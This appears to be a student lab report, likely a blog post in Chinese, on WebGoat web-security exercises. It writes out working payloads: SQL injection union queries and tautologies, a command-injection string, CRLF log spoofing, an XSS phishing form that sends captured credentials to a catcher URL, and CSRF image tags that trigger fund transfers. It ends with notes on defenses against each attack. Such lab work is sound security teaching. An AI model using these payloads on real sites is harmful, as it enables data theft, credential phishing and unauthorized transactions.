2017-2018-2 20155203《网络对抗技术》Exp9 :Web安全基础
实践过程记录
- SQL Injection(Webgoat 8.0&Webgoat7.0)
1. SQL Injection(Webgoat 8.0)。
这一部分很基础,是简单的sql注入,就是用输入的内容和页面本身的查询语句结合起来生成我们想要查询的内容,当然页面的安全性必须相当低。
按照题目要求做就能找到需要的信息。
2. SQL Injection(ADVANCED)(Webgoat 8.0)
关于这一部分参考了一些资料:
关于SQL注入,你应该知道的那些事
使用了union语句
Smith union select * from user_system_data where user_name = 'dave'--
联合查询TABLE user_system_data
中dave的信息,失败,显示必须要用正确的列数或者可能是表项数目的意思。因此要测试来确定列数到底是多少,使用了齐帅同学的方法。Smith' order by 7--
。order by
一般是用于排序,asc是升序,desc是降序。数字的意思是按照某一列的顺序(字母顺序或数字大小)升序排列,由于我们只能搜索Smith的信息只有第五列是不同的,所以可以尝试按照第五列排列会发现是有变化的。所以通过这样的办法,可以确定列数。
Smith' union select null,null,null,null,null,null,null from user_system_data --
可以查询看来我们判断的列数是正确的
确定列数后就可以利用已知的列数来联合查找一下啦
第一个表项不写null,会出错,就从第二个猜是不是分别是用户名和密码
Smith' union select null,user_nam,password,null,null,null,null from user_system_data --
成功啦看看其他的内容能不能猜测一下
猜测了userid,成功啦~ 是102
3. Command Injection
需要一个firebug,安装教程:firebug安装后就可以查看网页源码。
在当前网页下打开firebug
这里我们要在下拉框的选项中注入一项命令,我的理解是,这条指令是对服务器使用的,
比如:"& netstat -an & ipconfig"
这个注入相当于是为网页设置了一个端点改变网页的一部分来调试运行,刷新之后就会消失失去作用,但是可以通过调试的结果收集服务器的一些信息
4. Numeric SQL Injection
利用永真式达到查询数据库全部内容的目的,这里与上次的实验不同的是,上一次的输入文本,这一次要更改下拉框中选项的值(value),所以也不需要在后面加注释号。在firebug中更改某个下拉框选项的值为
“xxx or 1=1”
5. Log Spoofing
登陆欺骗,在用户名文本框中输入
%0d%0aLogin succeeded !20155203
可以显示登陆成功,不过我很困惑,这不是自己骗自己吗?其实最终目的不是要让自己看到登录成功了,而是要在服务器的日志中做假记录,成功~
6. String SQL Injection
跟上次实验一样~
7. LAB: SQL Injection
stage1:修改网页源代码中password文本框的可输入长度(加长),输入
' or 1=1 --
登陆Neville成功。
用Neville查看profile
stage3:
还是将larry下拉选项的value改为
101 or 1=1
- XSS
8. XSS(Webgoat 8.0)
首先是要查看两个相同的网页的cookie是否相同。Cookie,只是一条极为短小的信息,它能够被网站自动地放置在一台电脑的硬盘中,网站是依靠Cookie来辨认我们的行踪的。
![](https://images2018.cnblogs.com/blog/1065404/201805/1065404-20180522144220504-338538990.png)
直接清空地址栏输入```javascript:alert(document.cookie);```,在地址栏直接使用javascript函数可以进行很多查询,首先是可以出现提示框,如```javascript:alert(‘hello world’);```
最直接的方法是用来查询该页面上的一些信息,比如查询背景颜色.
javascript:alert(document.body.style.backgroundColor);void(0);
利用javascript重定向:
```javascript:document.location=http://www.baidu.com```
可以通过void指令来修改cookie;```javascript: void(document.cookie=“PHPSESSID = hacked”); alert(document.cookie);```不过这个可能有些网站做不到。
可以发现两个相同页面的cookie值是相同的。
9. Phishing with XSS
要在搜索框里添加一个表格的html源码,这个表格的设计基本按照登陆界面实现,要有一个欺骗的提示比如This feature requires account login:
提示用户输入用户名密码
代码如下:
<form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
用户登陆后会直接弹出获取用户名密码的提示,攻击成功
10. Reflected XSS Attacks
之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。
关于这一部分webgoat做了以下解释:
验证服务器端的所有输入总是一个好习惯。 在HTTP响应中使用未经验证的用户输入时,可能会发生XSS。 在反映(reflected)的XSS攻击中,攻击者可以利用攻击脚本制作一个URL并将其发布到另一个网站,发送电子邮件或以其他方式让受害者点击它。
这段话的意思是,对于输入的内容不进行验证的网页,我们可以把自己写一段代码插入到网页源码中,网页会执行这段代码。而且网页会解释这段代码。
比如攻击者将如下链接发送给受害者: http://www.targetserver.com/search.asp?input=
当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型XSS的原因。
在这个题目中输入
<script>alert("20155203 is trying to attack");</script>
就会出现提示,说明网页已经执行了这一语句。
- CRSF
需要一个firebug,安装教程:firebug安装后就可以查看网页源码。
11. Cross Site Request Forgery (CSRF)
在MESSAGE中输入一段代码
<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>
意思是创建一个链接,输入后会在message list中产生一个消息,victim点开这条消息其账户会被转走4000。
12. CSRF Prompt By-Pass
这一个任务是再上一个任务的基础上再增加一条转账确认消息
<img src="attack?Screen=267&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=267&menu=900&transferFunds=confirm"
width="1" height="1">
实验后回答问题
(1)SQL注入攻击原理,如何防御
SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。我的理解就是,利用程序员写网页时候的漏洞,输入能够构成SQL语句的文本,达到查询想要的信息的目的的攻击。
防御的方法,可以进行输入验证,比如说设定用户名时不能加入特殊符号;进行权限控制,不允许任意用户都能对数据库进行整体访问,比如说员工和老板,老师和学生。
(2)XSS攻击的原理,如何防御
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器
执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列
表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨
大的,是web安全的头号大敌。
我的理解是:和sql注入不同,在XSS攻击中,网站只是攻击者的工具来诱骗被攻击者的平台,通过发帖等形式来构造一些界面达到得到被攻击者重要信息的目的。
防御的方法,一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤;另一种是过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出
(3)CSRF攻击原理,如何防御
Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。
1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
防御的方法:目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。
实验总结与体会
网页虽然看起来很简单,实际上有好多好多的块,攻击虽然照猫画虎也明白了不少东西,也做了一些新的小尝试,很有趣。